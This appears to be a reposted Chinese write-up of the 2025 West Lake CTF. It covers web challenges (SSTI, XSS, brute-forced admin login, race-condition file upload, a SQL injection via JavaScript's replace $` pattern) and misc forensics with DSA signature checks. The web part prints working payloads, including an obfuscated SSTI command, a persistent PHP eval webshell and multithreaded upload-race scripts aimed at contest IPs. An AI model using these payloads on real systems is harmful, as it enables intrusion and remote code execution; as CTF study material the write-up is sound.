25西湖ctf

news2025/1/21 13:26:25

2025西湖冬季

图片不全去我blog找👇

25西湖 | DDL'S BLOG

文章所有参考将在文末给出

web

web1

ssti

太简单的不赘述,知道用就行

{
 
 {cycler.__init__.__globals__.__builtins__['__import__']('os').popen('$(printf "\150\145\141\144\40\57\146\154\141\52")').read()}}

赘述

个admin");alert(document.cookie);("能弹出admin

web2

先是弱口令爆破

密码year2000
用户admin

上传的php文件会被删除,条件竞争

普通脚本

import io
import re
import requests
import threading
​
# 定义目标 URL 和正则表达式
up_url = 'http://139.155.126.78:27102/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'
php_idx = '1f14bba00da3b75118bc8dbf8625f7d0/(.*?)\\.php</'
payload = '''<?php
phpinfo();
ignore_user_abort(true);
set_time_limit(0);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
    file_put_contents($file, $code);
}
?>'''
p = io.StringIO(payload)
​
​
# 定义任务函数
def fetch_and_process():
    while True:
        try:
            # 获取页面内容
            headers = {
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
                "Accept-Encoding": "gzip, deflate",
                "Accept-Language": "zh-CN,zh;q=0.9",
                "Cache-Control": "max-age=0",
                "Cookie": "PHPSESSID=keub5bch0acvude4bsikfa2m9k",
                "Host": "139.155.126.78:27102",
                "Origin": "http://139.155.126.78:28385",
                "Referer": "http://139.155.126.78:28385/admin/index.php",
                "Upgrade-Insecure-Requests": "1",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
            }
​
            # you should modify File content and Content-Type by yourself
            files = {"file_upload": ("s.php", p, "image/png")}
            url = "http://139.155.126.78:27102/admin/index.php"
            res = requests.post(url=url, headers=headers, files=files, verify=False)
            shell_path = re.findall(php_idx, res.text)
            # 访问提取的 PHP 文件
​
            print(requests.get(f'{up_url}{shell_path[0]}.php').text)
            print(f'{up_url}{shell_path[0]}.php')
            for i in range(10):
                print(requests.get(f'{up_url}{shell_path[0]}.php').text)
        except:
            pass
​
​
# 启动多线程
num_threads = 50
threads = []
​
for _ in range(num_threads):
    thread = threading.Thread(target=fetch_and_process)
    thread.daemon = True  # 设置为守护线程
    threads.append(thread)
    thread.start()
​
# 保持主线程运行
for thread in threads:
    thread.join()

正则脚本

​
import requests
import re
import time
from multiprocessing import Process
​
burp0_url = "http://139.155.126.78:16004/admin/index.php"
burp0_cookies = {"PHPSESSID": "iua127iuofecbllp3f56gtg3qb"}
burp0_headers = {
    "Cache-Control": "max-age=0",
    "Origin": "http://139.155.126.78:16004",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryt2b9EtsFNrTXH9Tl",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": "http://139.155.126.78:16004/admin/index.php",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "close"
}
burp0_data = """------WebKitFormBoundaryt2b9EtsFNrTXH9Tl\r\nContent-Disposition: form-data; name="file_upload"; filename="1.php"\r\nContent-Type: text/php\r\n\r\n<?php\nreadfile("/flag");\n?>\r\n------WebKitFormBoundaryt2b9EtsFNrTXH9Tl--\r\n"""
​
​
# 从响应中提取上传后的文件路径
def extract_uploaded_file(response_text):
    # 正则表达式匹配上传后的文件路径
    match = re.search(r'文件已保存为:\s*(.*?)(?=\s*</p>)', response_text)
    if match:
        return match.group(1)
    return None
​
​
# 尝试上传文件并访问它
def upload_and_access_file():
    while True:
        try:
            # 上传文件
            from time import time
            import hashlib
            # print(hashlib.md5())
            response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,
                                     timeout=5,proxies={"http":"127.0.0.1:8080"})
            if response.status_code == 200:
                print("File uploaded successfully, parsing response to find the file path...")
​
                # 提取上传后的文件路径
                file_path = extract_uploaded_file(response.text)
                print(file_path)
                if file_path:
                    # 完整的文件访问路径
                    file_url = f"http://139.155.126.78:16004/admin/{file_path[1:]}"
                    print(f"File uploaded to: {file_url}")
​
                    try:
                        # 立即访问文件
                        access_response = requests.get(file_url, timeout=5,proxies={"http":"127.0.0.1:8080"})
                        if access_response.status_code == 200:
                            print("Successfully accessed the file!")
                            print("File Content:\n", access_response.text)
                            exit()
                        else:
                            print(f"Failed to access the file, status code: {access_response.status_code}")
                    except requests.exceptions.RequestException as e:
                        print(f"Error accessing the file: {e}")
                else:
                    print("Failed to find the uploaded file path in the response.")
            else:
                print(f"File upload failed, status code: {response.status_code}")
​
        except requests.exceptions.RequestException as e:
            print(f"Error uploading file: {e}")
​
​
​
# 创建并启动多个进程
def start_processes(num_processes=10):
    processes = []
    for _ in range(num_processes):
        process = Process(target=upload_and_access_file)
        processes.append(process)
        process.start()
​
    # 等待所有进程完成
    for process in processes:
        process.join()
​
​
if __name__ == "__main__":
    start_processes(50)  # 启动 10 个进程来并行执行上传和访问任务
​
​

web3

源码

​
var express = require('express');
var router = express.Router();
module.exports = router;
​
router.get('/',(req,res,next)=>{
    if(req.query.info){
        if(req.url.match(/\,/ig)){
            res.end('hacker1!');
        }
        var info = JSON.parse(req.query.info);
        if(info.username&&info.password){
            var username = info.username;
            var password = info.password;
            if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
                res.end('hacker2!');
            }
            var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
            sql = sql.replace("{username}",username);
            sql = sql.replace("{password}",password);
            connection.query(sql,function (err,rs) {
            if (err) {
                res.end('error1');
            }
            else {
                if(rs.length>0){
                res.sendFile('/flag');
                }else {
                res.end('username or password error');
                }
            }
            })
        }
        else{
            res.end("please input the data");
        }
       
}
    else{
        res.end("please input the data");
    }
})

考的是js代码的replace函数在替换的时候的特殊指定字符串替换

/?info=%7B%22username%22%3A%22%24%60%20union%20select%201%2C2%23%22%2C%22password%22%3A%22adminaaaaaaa%22%7D
源:
/?info={"username":"$` union select 1,2#","password":"adminaaaaaaa"}

image-20250118215332862

image-20250118215227333

misc

磁盘

image-20250118122716661

提取俩文件

image-20250118122738018

放进去.密码是图片,

image-20250118193301107

挂载直接出

image-20250118193419263

iot

image-20250118124528183

easydatalog

日志文件提取脚本

import json
import csv
import os
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import base64
​
# 读取公钥文件并存储到字典中
public_keys = {}
public_folder = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/public'
for filename in os.listdir(public_folder):
    if filename.endswith('.pem'):
        userid = filename[7:11]  # 提取 userid
        with open(os.path.join(public_folder, filename), 'rb') as key_file:
            public_key = DSA.import_key(key_file.read())  # 导入 DSA 公钥
            public_keys[userid] = public_key
​
# 读取签名数据文件
sign_data_file = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/data-sign.csv'
with open(sign_data_file, newline='', encoding='utf-8') as csvfile:
    reader = csv.DictReader(csvfile)
    altered_data = []  # 用于存储被篡改的数据
​
    for row in reader:
        userid = row['username']
        name_signature = base64.b64decode(row['name_signature'])
        idcard_signature = base64.b64decode(row['idcard_signature'])
        phone_signature = base64.b64decode(row['phone_signature'])
​
        # 读取原始数据
        original_data_file = 'original_data.csv'
        with open(original_data_file, newline='', encoding='utf-8-sig') as original_csvfile:
            original_reader = csv.DictReader(original_csvfile)
            for original_row in original_reader:
                if original_row['user'] == userid:
                    data_str = original_row['data']
                    data_dict = json.loads(data_str.replace('""', '"').replace('\\"', '"'))  # 处理转义字符
                    break
​
        # 解码 name 字段中的 Unicode 转义字符
        name = data_dict['name'].encode('utf-8').decode('unicode_escape')
​
        # 查找对应公钥
        public_key = public_keys.get(userid.zfill(4))  # userid 左侧补零至四位数
​
        if public_key is not None:
            # 使用 DSS 算法验证签名
            signer = DSS.new(public_key, 'fips-186-3')
​
            # 验证 name
            name_hash = SHA256.new(name.encode())  # 对解码后的名字进行哈希计算
            try:
                signer.verify(name_hash, name_signature)
                print(f"用户 {userid} 的 name 验证通过")
            except ValueError:
                print(f"用户 {userid} 的 name 验证失败,可能被篡改")
                altered_data.append({
                    'userid': userid,
                    'name': name,
                    'idcard': data_dict['idcard'],
                    'phone': data_dict['phone'],
                    'error_field': 'name'
                })
​
            # 验证 idcard
            idcard_hash = SHA256.new(data_dict['idcard'].encode())
            try:
                signer.verify(idcard_hash, idcard_signature)
                print(f"用户 {userid} 的 idcard 验证通过")
            except ValueError:
                print(f"用户 {userid} 的 idcard 验证失败,可能被篡改")
                altered_data.append({
                    'userid': userid,
                    'name': name,
                    'idcard': data_dict['idcard'],
                    'phone': data_dict['phone'],
                    'error_field': 'idcard'
                })
​
            # 验证 phone
            phone_hash = SHA256.new(data_dict['phone'].encode())
            try:
                signer.verify(phone_hash, phone_signature)
                print(f"用户 {userid} 的 phone 验证通过")
            except ValueError:
                print(f"用户 {userid} 的 phone 验证失败,可能被篡改")
                altered_data.append({
                    'userid': userid,
                    'name': name,
                    'idcard': data_dict['idcard'],
                    'phone': data_dict['phone'],
                    'error_field': 'phone'
                })
        else:
            print(f"未找到 {userid} 对应的公钥")
​
# 将被篡改的数据写入新 csv 文件
if altered_data:
    altered_file = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/altered_data.csv'
    with open(altered_file, 'w', newline='', encoding='utf-8') as csvfile:
        fieldnames = ['userid', 'name', 'idcard', 'phone']  # 输出格式
        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
​
        writer.writeheader()
        for row in altered_data:
            # 将被篡改的数据写入 CSV
            writer.writerow({
                'userid': row['userid'],
                'name': row['name'],
                'idcard': row['idcard'],
                'phone': row['phone']
            })
    print(f"被篡改的数据已保存到 {altered_file}")
else:
    print("未发现被篡改的数据")

剩下的就是misc了,不做了

DSASignatureData

先将json数据另存,然后分离出啦

tshark -r filter1.pcapng -T fields -e http.request.uri.query.parameter -e json.object -E separator=, > extracted_data.txt

拿脚本做验证

import json
import csv
import os
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import base64

public_keys = {}
public_folder = 'public'
for filename in os.listdir(public_folder):
    if filename.endswith('.pem'):
        userid = filename[7:11]
        with open(os.path.join(public_folder, filename), 'rb') as key_file:
            public_key = DSA.import_key(key_file.read())
            public_keys[userid] = public_key

sign_data_file = 'data-sign.csv'
with open(sign_data_file, newline='', encoding='utf-8') as csvfile:
    reader = csv.DictReader(csvfile)
    altered_data = []
    for row in reader:
        userid = row['username']
        name_signature = base64.b64decode(row['name_signature'])
        idcard_signature = base64.b64decode(row['idcard_signature'])
        phone_signature = base64.b64decode(row['phone_signature'])

        original_data_file = 'extracted_data.csv'
        with open(original_data_file, newline='', encoding='utf-8-sig') as original_csvfile:
            original_reader = csv.DictReader(original_csvfile)
            for original_row in original_reader:
                if original_row['user'] == userid:
                    data_str = original_row['data']
                    data_dict = json.loads(data_str.replace('""', '"').replace('\\"', '"'))
                    break

        name = data_dict['name'].encode('utf-8').decode('unicode_escape')
        public_key = public_keys.get(userid.zfill(4))

        if public_key is not None:
            signer = DSS.new(public_key, 'fips-186-3')
            name_hash = SHA256.new(name.encode())
            try:
                signer.verify(name_hash, name_signature)
                print(f"用户 {userid} 的 name 验证通过")
            except ValueError:
                print(f"用户 {userid} 的 name 验证失败")
                altered_data.append({
                    'userid': userid,
                    'name': name,
                    'idcard': data_dict['idcard'],
                    'phone': data_dict['phone'],
                    'error_field': 'name'
                })

            idcard_hash = SHA256.new(data_dict['idcard'].encode())
            try:
                signer.verify(idcard_hash, idcard_signature)
                print(f"用户 {userid} 的 idcard 验证通过")
            except ValueError:
                print(f"用户 {userid} 的 idcard 验证失败")
                altered_data.append({
                    'userid': userid,
                    'name': name,
                    'idcard': data_dict['idcard'],
                    'phone': data_dict['phone'],
                    'error_field': 'idcard'
                })

            phone_hash = SHA256.new(data_dict['phone'].encode())
            try:
                signer.verify(phone_hash, phone_signature)
                print(f"用户 {userid} 的 phone 验证通过")
            except ValueError:
                print(f"用户 {userid} 的 phone 验证失败")
                altered_data.append({
                    'userid': userid,
                    'name': name,
                    'idcard': data_dict['idcard'],
                    'phone': data_dict['phone'],
                    'error_field': 'phone'
                })
        else:
            print(f"未找到 {userid} 对应的公钥")

altered_file = 'altered_data.csv'
with open(altered_file, 'w', newline='', encoding='utf-8') as csvfile:
    fieldnames = ['userid', 'name', 'idcard', 'phone']
    writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
    writer.writeheader()
    for row in altered_data:
        writer.writerow({
            'userid': row['userid'],
            'name': row['name'],
            'idcard': row['idcard'],
            'phone': row['phone']
        })

参考

https://baozongwi.xyz/2025/01/18/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912025/#
https://mp.weixin.qq.com/s/hytf2uF2dKVOTv1Ht24Heg

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2279832.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux C\C++方式下的文件I/O编程

【图书推荐】《Linux C与C一线开发实践&#xff08;第2版&#xff09;》_linux c与c一线开发实践pdf-CSDN博客 《Linux C与C一线开发实践&#xff08;第2版&#xff09;&#xff08;Linux技术丛书&#xff09;》(朱文伟&#xff0c;李建英)【摘要 书评 试读】- 京东图书 Lin…

python轻量级框架-flask

简述 Flask 是 Python 生态圈中一个基于 Python 的Web 框架。其轻量、模块化和易于扩展的特点导致其被广泛使用&#xff0c;适合快速开发 Web 应用以及构建小型到中型项目。它提供了开发 Web 应用最基础的工具和组件。之所以称为微框架&#xff0c;是因为它与一些大型 Web 框架…

python+pygame+pytmx+map editor开发一个tiled游戏demo 05使用object层初始化player位置

代码 import mathimport pygame# 限制物体在屏幕内 import pytmxdef limit_position_to_screen(x, y, width, height):"""限制物体在屏幕内"""x max(0, min(x, SCREEN_WIDTH - width)) # 限制x坐标y max(0, min(y, SCREEN_HEIGHT - height))…

上位机工作感想-2024年工作总结和来年计划

随着工作年限的增增长&#xff0c;发现自己越来越不喜欢在博客里面写一些掺杂自己感想的东西了&#xff0c;或许是逐渐被工作逼得“成熟”了吧。2024年&#xff0c;学到了很多东西&#xff0c;做了很多项目&#xff0c;也帮别人解决了很多问题&#xff0c;唯独没有涨工资。来这…

Ubuntu离线docker compose安装DataEase 2.10.4版本笔记

1、先准备一个可以正常上网的相同版本的Ubuntu系统&#xff0c;可以使用虚拟机。Ubuntu系统需要安装好docker compose或docker-compose 2、下载dataease-online-installer-v2.10.4-ce.tar在线安装包&#xff0c;解压并执行install.sh进行安装和启动 3、导出docker镜像 sudo d…

Web开发 -前端部分-CSS-2

一 长度单位 代码实现&#xff1a; <!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document<…

Data Filtering Network 论文阅读和理解

目录 一、TL&#xff1b;DR 二、Introduction 2.1 apple的结论 2.2 业界做法&#xff1a; 2.3 我们的做法&#xff08;Apple&#xff09; 2.4 如何获取好的DFN 三、未完待续&#xff08;这周出去购物了&#xff0c;下周继续补充&#xff09; 一、TL&#xff1b;DR 核心…

计算机网络 (48)P2P应用

前言 计算机网络中的P2P&#xff08;Peer to Peer&#xff0c;点对点&#xff09;应用是一种去中心化的网络通信模式&#xff0c;它允许设备&#xff08;或节点&#xff09;直接连接并共享资源&#xff0c;而无需传统的客户端-服务器模型。 一、P2P技术原理 去中心化架构&#…

.Net Core微服务入门全纪录(五)——Ocelot-API网关(下)

系列文章目录 1、.Net Core微服务入门系列&#xff08;一&#xff09;——项目搭建 2、.Net Core微服务入门全纪录&#xff08;二&#xff09;——Consul-服务注册与发现&#xff08;上&#xff09; 3、.Net Core微服务入门全纪录&#xff08;三&#xff09;——Consul-服务注…

Python网络自动化运维---SSH模块

目录 SSH建立过程 实验环境准备 一.SSH模块 1.1.Paramiko模块 1.1.1实验代码 1.1.2代码分段讲解 1.1.3代码运行过程 1.2Netmiko模块 Netmiko模块对比paramiko模块的改进&#xff1a; 1.2.1实验代码 1.2.2代码分段讲解 1.2.3代码运行过程 二.Paramiko模块和Ne…

Linux:进程概念详解

进程详解 一、冯诺依曼计算机体系&#xff08;一&#xff09;体系概念&#xff08;二&#xff09;计算机之间的数据传输 二、操作系统&#xff08;一&#xff09;操作系统设计的意义&#xff08;二&#xff09;操作系统的管理功能&#xff08;三&#xff09;系统调用的实质 三、…

【数据分享】1929-2024年全球站点的逐年平均气温数据(Shp\Excel\无需转发)

气象数据是在各项研究中都经常使用的数据&#xff0c;气象指标包括气温、风速、降水、湿度等指标&#xff0c;其中又以气温指标最为常用&#xff01;说到气温数据&#xff0c;最详细的气温数据是具体到气象监测站点的气温数据&#xff01;本次我们为大家带来的就是具体到气象监…

STM32之CubeMX图形化工具开发介绍(十七)

STM32F407 系列文章 - STM32CubeMX&#xff08;十七&#xff09; 目录 前言 一、CubeMX 二、下载安装 1.下载 2.安装 3.图解步骤 三、用户界面 1.项目配置 2.项目生成 3.项目文件解释 4.新建工程 5.查看原工程 四、FAQ 总结 前言 STMCube源自意法半导体&#xf…

top命令返回值有异常问题解决

异常问题&#xff1a;load average值不正常 排查思路&#xff1a; 1.找到是哪个进程引起的异常&#xff0c;看看是否有cpu占用过高或者mem占用过高的进程 再根据具体情况分析原因。 定位到异常进程后&#xff0c;首先打堆栈&#xff0c;留存现场日志&#xff0c;然后停止进…

sqlfather笔记

这里简单记录写学习鱼皮sqlfather项目的笔记&#xff0c;以供以后学习。 运行 将前后端项目clone到本地后&#xff0c;修改对应配置文件运行项目。 后端 1.配置好mysql后运行这个sql文件建立对应的表。 2.修改数据库密码 3.修改完后运行启动类即可 4. 启动结果 5.查看A…

【Axure高保真原型】数字滚动效果

今天和大家分享数字滚动效果的原型摸吧原型模板&#xff0c;效果包括&#xff1a; 在输入框输入目标数值后&#xff0c;点击滚动按钮&#xff0c;下方数字自动滚动到对应的数值&#xff1b; 在输入框输入初始数值后&#xff0c;点击设置初始值按钮&#xff0c;可以设置下方数字…

“AI人工智能内容辅助创作平台:让创意不再“卡壳”

在如今这个信息爆炸的时代&#xff0c;内容创作成了每个人的“必修课”。无论是自媒体大V、文案策划&#xff0c;还是普通学生写作文&#xff0c;大家都会遇到一个让人抓狂的问题——“创意枯竭”。有时候&#xff0c;脑袋里空空如也&#xff0c;一个字都写不出来&#xff0c;那…

VSCode最新离线插件拓展下载方式

之前在vscode商店有以下类似的download按钮&#xff0c;但是2025年更新之后这个按钮就不提供了&#xff0c;所以需要使用新的方式下载 ps:给自己的网站推广下~~&#xff08;国内直连GPT/Claude&#xff09; 新的下载方式1 首先打开vscode商店官网&#xff1a;vscode插件下载…

python——Django 框架

Django 框架 1、简介 Django 是用python语言写的开源web开发框架&#xff0c;并遵循MVC设计。 Django的**主要目的是简便、快速的开发数据库驱动的网站。**它强调代码复用&#xff0c;多个组件可以很方便的以"插件"形式服务于整个框架&#xff0c;Django有许多功能…

搜索功能实现

前言 主要实现思路是全局监听点击事件的点击范围是否包含搜索结果内容。 效果 上代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initi…